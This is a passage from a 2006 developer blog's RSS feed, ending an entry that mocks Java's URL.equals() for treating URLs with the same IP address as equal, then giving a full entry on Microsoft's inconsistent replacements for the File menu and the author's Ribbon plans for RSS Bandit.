&lt;pre&gt;&lt;i&gt;URL url1 = new URL("http://foo.example.com");&lt;br&gt;
URL url2 = new URL("http://example.com");&lt;br&gt;
&lt;/i&gt;&lt;/pre&gt;
&lt;p&gt;
&lt;i&gt;Let’s say these map to these IP addresses:&lt;/i&gt;
&lt;/p&gt;
&lt;pre&gt;&lt;i&gt;http://foo.example.com =&amp;gt; 245.10.10.1&lt;br&gt;
http://example.com =&amp;gt; 245.10.10.1&lt;br&gt;
&lt;/i&gt;&lt;/pre&gt;
&lt;p&gt;
&lt;i&gt;Here’s the scary part:&lt;/i&gt;
&lt;/p&gt;
&lt;pre&gt;&lt;i&gt;url1.equals(url2) =&amp;gt; true!&lt;/i&gt;
&lt;br&gt;
&lt;/pre&gt;&lt;/blockquote&gt; 
&lt;p&gt;
That's definitely the best example of code that deserves to be on &lt;a href="http://thedailywtf.com/"&gt;The
Daily WTF&lt;/a&gt; I've seen from a standard library. Just thinking about all the code
I have in &lt;a href="http://www.rssbandit.org"&gt;RSS Bandit&lt;/a&gt; that tests URLs for equality,
it boggles my mind to think a standard library could have such a craptacular implementation
of the &lt;code&gt;equals()&lt;/code&gt; method. 
&lt;/p&gt;
&lt;p&gt;
Anyone have similar examples from other standard libraries (C++, .NET, JDK, Ruby,
etc)? I need some bad code to cheer me up after a day that's already had too many
meetings. :) 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=1684521e-3709-41fe-8712-5f9b5fe5cb93" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,1684521e-3709-41fe-8712-5f9b5fe5cb93.aspx</comments>
      <category>Mindless Link Propagation</category>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=b2909bc4-53bc-411c-8a10-8c47d974ceec</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,b2909bc4-53bc-411c-8a10-8c47d974ceec.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,b2909bc4-53bc-411c-8a10-8c47d974ceec.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=b2909bc4-53bc-411c-8a10-8c47d974ceec</wfw:commentRss>
      <slash:comments>11</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
While browsing my referrer logs I noticed a lot of hits from <a href="http://blogs.msdn.com/jensenh/archive/2006/11/21/licensing-the-2007-microsoft-office-user-interface.aspx#1121843">a
comment on Jensen Harris's blog post</a> about the Office 2007 UI being licenced.
Below is the comment which has driven several hundred page views on my blog
</p>
        <div class="CommentArea">
          <blockquote>
            <h4 class="CommentTitle">
              <i>
                <a id="ctl00___ctl00___ctl02___Comments___Comments_ctl23_NameLink" title="Mike Dimmick" href="http://blogs.msdn.com/utility/Redirect.aspx?U=http%3a%2f%2fmikedimmick.blogspot.com%2f">Mike
Dimmick</a> said: <img src="http://blogs.msdn.com/Themes/Blogs/paperclip/images/spacer.gif" class="CommentArrow" align="absbottom" /></i>
            </h4>
            <div class="CommentText3">
              <p>
                <i>As an example of how a developer could horribly misuse the Ribbon interface, see
Dare Obasanjo's proposal for RSS Bandit: <a rel="nofollow" target="_new" href="CommentView.aspx?guid=29141fb4-efb0-4ae2-aba6-59ae2096feee">http://www.25hoursaday.com/weblog/CommentView.aspx?guid=29141fb4-efb0-4ae2-aba6-59ae2096feee</a></i>
              </p>
            </div>
          </blockquote>
          <div class="CommentText">
            <div class="CommentText2">
            </div>
          </div>
        </div>
        <p>
My reason for moving to a ribbon-like interface for the <i>Phoenix</i> release of <a href="http://www.rssbandit.org">RSS
Bandit</a> was because I was under the impression that the Ribbon was the wave of
the future with regards to application user interfaces in Windows. However I just
read a blog post by Mike Torres entitled <a href="http://mike.spaces.live.com/blog/cns%21FBABF8E542F5D5DB%217691.entry">More
on the Office 2007 UI</a> where he points out that practically every Windows application
released by Microsoft this year has abandoned the traditional File menu and toolbar
structure in a <b>different way</b>. Below are links to the screenshots from Mike's
post [and one extra which was <a href="http://www.shahine.com/omar/MenuInconsistency.aspx">suggested
by Omar</a>]
</p>
        <ol>
          <li>
            <a href="http://tkfiles.storage.msn.com/x1p4JHjVbcjTC-zKiEi6Hs8NddWGaH2fTzC788MuADQXuN6TnzCzVbiRyGq3c4zMr1jz9XPbqTEhHhnzfXI7xkcc6Zsmnle8GF081-1wNA3ZiG1-RLFShzN34GbZ2CVeGvlT3Sy3tNrqIBrUJNjqkbJsw">Office
2007</a>
          </li>
          <li>
            <a href="http://tk3.storage.msn.com/x1p4JHjVbcjTC-zKiEi6Hs8NddWGaH2fTzC788MuADQXuNiQuMgY0A1ReUF9yRiouPth7kOSAnommn-b8PpGdxPJMbQW1lZgVEL_MB--NXbYrpTdEq9Yvet66iKY976JljVqoXxsHehA9iPMcz4UP2N6A">Windows
Media Player 11</a>
          </li>
          <li>
            <a href="http://tkfiles.storage.msn.com/x1p4JHjVbcjTC-zKiEi6Hs8NddWGaH2fTzC788MuADQXuPdOxpCjpFW4FfqyW9jkRQdYefKQe3H6-eF25pdBjCRAqHMN4hHJugBRtxwAgcwltLEzL0yAN45EPv8syev6PtYWskm2GRZ0POAMvhxw3tFag">Windows
Live Messenger 8</a>
          </li>
          <li>
            <a href="http://tkfiles.storage.msn.com/x1p4JHjVbcjTC-zKiEi6Hs8NddWGaH2fTzC788MuADQXuOtOeWZ1J3CghzQ3pF_5QNFKC-yJNo-da7eQ4T5z9-cQPBLV3Hn6IOtWErFwTAlHaEg1zcnWpIlEMDsPz7gMiCObeQwfsUlDyPpcU0bIJGuyA">Windows
Photo Gallery</a>
          </li>
          <li>
            <a href="http://tkfiles.storage.msn.com/x1p4JHjVbcjTC-zKiEi6Hs8NddWGaH2fTzC788MuADQXuM6AuKc--MDTaYCUswOrrAuBwMz6DSAWKnDi626zhreb0ODuFzTOWSch784fTIkLB2OT7OkTtNkXVZQ7FHDIw2LmbSCat5h7fdKUvFPE6EGGQ">Windows
Live Mail <sub>Desktop</sub></a>
            <br />
          </li>
          <li>
            <a href="http://ben-ward.co.uk/media/IE7.jpg">Internet Explorer 7<br /></a>
          </li>
        </ol>
        <p>
As you can se all of the above applications which where shipped by Microsoft this
year embraced the idea of getting rid of the traditional File menu and toolbars yet
didn't agree on what to replace them with. As a developer of a Windows application,
it is clear to me that the traditional yet consistent File menu and toolbar look is
now played out on Windows. The main question is which app I should emulate. If history
tells me anything, I can't go wrong betting on Office driving user expectations around
what Windows applications should act and feel like. I'm glad to see Infragistics on
the list of vendors who will be adopting the Office 2007 UI guidelines. This means
we'll likely inherit some best practices around using the Office 2007 Ribbon for free
since we now use the <a href="http://www.infragistics.com/dotnet/netadvantage.aspx#Overview">Infragistics
NetAdvantage GUI components</a> in <a href="http://www.rssbandit.org">RSS Bandit</a>. 
</p>
        <p>
If this means, I'm going to get people like Mike Dimmick flaming me for not living
up to the vision of the 'Ribbon' then so be it. I'd rather that than an application
that looked old and busted instead of being the new hotness. ;) 
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=b2909bc4-53bc-411c-8a10-8c47d974ceec" />
      </body>
      <title>2006: The Year Microsoft Gave Up on Consistent UI</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,b2909bc4-53bc-411c-8a10-8c47d974ceec.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2006/12/20/2006TheYearMicrosoftGaveUpOnConsistentUI.aspx</link>
      <pubDate>Wed, 20 Dec 2006 00:00:11 GMT</pubDate>
      <description>&lt;p&gt;
While browsing my referrer logs I noticed a lot of hits from &lt;a href="http://blogs.msdn.com/jensenh/archive/2006/11/21/licensing-the-2007-microsoft-office-user-interface.aspx#1121843"&gt;a
comment on Jensen Harris's blog post&lt;/a&gt; about the Office 2007 UI being licenced.
Below is the comment which has driven several hundred page views on my blog
&lt;/p&gt;
&lt;div class="CommentArea"&gt;
&lt;blockquote&gt;
&lt;h4 class="CommentTitle"&gt;
&lt;i&gt;&lt;a id="ctl00___ctl00___ctl02___Comments___Comments_ctl23_NameLink" title="Mike Dimmick" href="http://blogs.msdn.com/utility/Redirect.aspx?U=http%3a%2f%2fmikedimmick.blogspot.com%2f"&gt;Mike
Dimmick&lt;/a&gt; said: &lt;img src="http://blogs.msdn.com/Themes/Blogs/paperclip/images/spacer.gif" class="CommentArrow" align="absbottom"&gt;&lt;/i&gt; 
&lt;/h4&gt;
&lt;div class="CommentText3"&gt;
&lt;p&gt;
&lt;i&gt;As an example of how a developer could horribly misuse the Ribbon interface, see
Dare Obasanjo's proposal for RSS Bandit: &lt;a rel="nofollow" target="_new" href="CommentView.aspx?guid=29141fb4-efb0-4ae2-aba6-59ae2096feee"&gt;http://www.25hoursaday.com/weblog/CommentView.aspx?guid=29141fb4-efb0-4ae2-aba6-59ae2096feee&lt;/a&gt;&lt;/i&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt; 
&lt;div class="CommentText"&gt;
&lt;div class="CommentText2"&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
My reason for moving to a ribbon-like interface for the &lt;i&gt;Phoenix&lt;/i&gt; release of &lt;a href="http://www.rssbandit.org"&gt;RSS
Bandit&lt;/a&gt; was because I was under the impression that the Ribbon was the wave of
the future with regards to application user interfaces in Windows. However I just
read a blog post by Mike Torres entitled &lt;a href="http://mike.spaces.live.com/blog/cns%21FBABF8E542F5D5DB%217691.entry"&gt;More
on the Office 2007 UI&lt;/a&gt; where he points out that practically every Windows application
released by Microsoft this year has abandoned the traditional File menu and toolbar
structure in a &lt;b&gt;different way&lt;/b&gt;. Below are links to the screenshots from Mike's
post [and one extra which was &lt;a href="http://www.shahine.com/omar/MenuInconsistency.aspx"&gt;suggested
by Omar&lt;/a&gt;]
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;a href="http://tkfiles.storage.msn.com/x1p4JHjVbcjTC-zKiEi6Hs8NddWGaH2fTzC788MuADQXuN6TnzCzVbiRyGq3c4zMr1jz9XPbqTEhHhnzfXI7xkcc6Zsmnle8GF081-1wNA3ZiG1-RLFShzN34GbZ2CVeGvlT3Sy3tNrqIBrUJNjqkbJsw"&gt;Office
2007&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://tk3.storage.msn.com/x1p4JHjVbcjTC-zKiEi6Hs8NddWGaH2fTzC788MuADQXuNiQuMgY0A1ReUF9yRiouPth7kOSAnommn-b8PpGdxPJMbQW1lZgVEL_MB--NXbYrpTdEq9Yvet66iKY976JljVqoXxsHehA9iPMcz4UP2N6A"&gt;Windows
Media Player 11&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://tkfiles.storage.msn.com/x1p4JHjVbcjTC-zKiEi6Hs8NddWGaH2fTzC788MuADQXuPdOxpCjpFW4FfqyW9jkRQdYefKQe3H6-eF25pdBjCRAqHMN4hHJugBRtxwAgcwltLEzL0yAN45EPv8syev6PtYWskm2GRZ0POAMvhxw3tFag"&gt;Windows
Live Messenger 8&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://tkfiles.storage.msn.com/x1p4JHjVbcjTC-zKiEi6Hs8NddWGaH2fTzC788MuADQXuOtOeWZ1J3CghzQ3pF_5QNFKC-yJNo-da7eQ4T5z9-cQPBLV3Hn6IOtWErFwTAlHaEg1zcnWpIlEMDsPz7gMiCObeQwfsUlDyPpcU0bIJGuyA"&gt;Windows
Photo Gallery&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://tkfiles.storage.msn.com/x1p4JHjVbcjTC-zKiEi6Hs8NddWGaH2fTzC788MuADQXuM6AuKc--MDTaYCUswOrrAuBwMz6DSAWKnDi626zhreb0ODuFzTOWSch784fTIkLB2OT7OkTtNkXVZQ7FHDIw2LmbSCat5h7fdKUvFPE6EGGQ"&gt;Windows
Live Mail &lt;sub&gt;Desktop&lt;/sub&gt;&lt;/a&gt;
&lt;br&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://ben-ward.co.uk/media/IE7.jpg"&gt;Internet Explorer 7&lt;br&gt;
&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
As you can se all of the above applications which where shipped by Microsoft this
year embraced the idea of getting rid of the traditional File menu and toolbars yet
didn't agree on what to replace them with. As a developer of a Windows application,
it is clear to me that the traditional yet consistent File menu and toolbar look is
now played out on Windows. The main question is which app I should emulate. If history
tells me anything, I can't go wrong betting on Office driving user expectations around
what Windows applications should act and feel like. I'm glad to see Infragistics on
the list of vendors who will be adopting the Office 2007 UI guidelines. This means
we'll likely inherit some best practices around using the Office 2007 Ribbon for free
since we now use the &lt;a href="http://www.infragistics.com/dotnet/netadvantage.aspx#Overview"&gt;Infragistics
NetAdvantage GUI components&lt;/a&gt; in &lt;a href="http://www.rssbandit.org"&gt;RSS Bandit&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
If this means, I'm going to get people like Mike Dimmick flaming me for not living
up to the vision of the 'Ribbon' then so be it. I'd rather that than an application
that looked old and busted instead of being the new hotness. ;) 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=b2909bc4-53bc-411c-8a10-8c47d974ceec" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,b2909bc4-53bc-411c-8a10-8c47d974ceec.aspx</comments>
      <category>Programming</category>
      <category>RSS Bandit</category>
    </item>
  </channel>
</rss>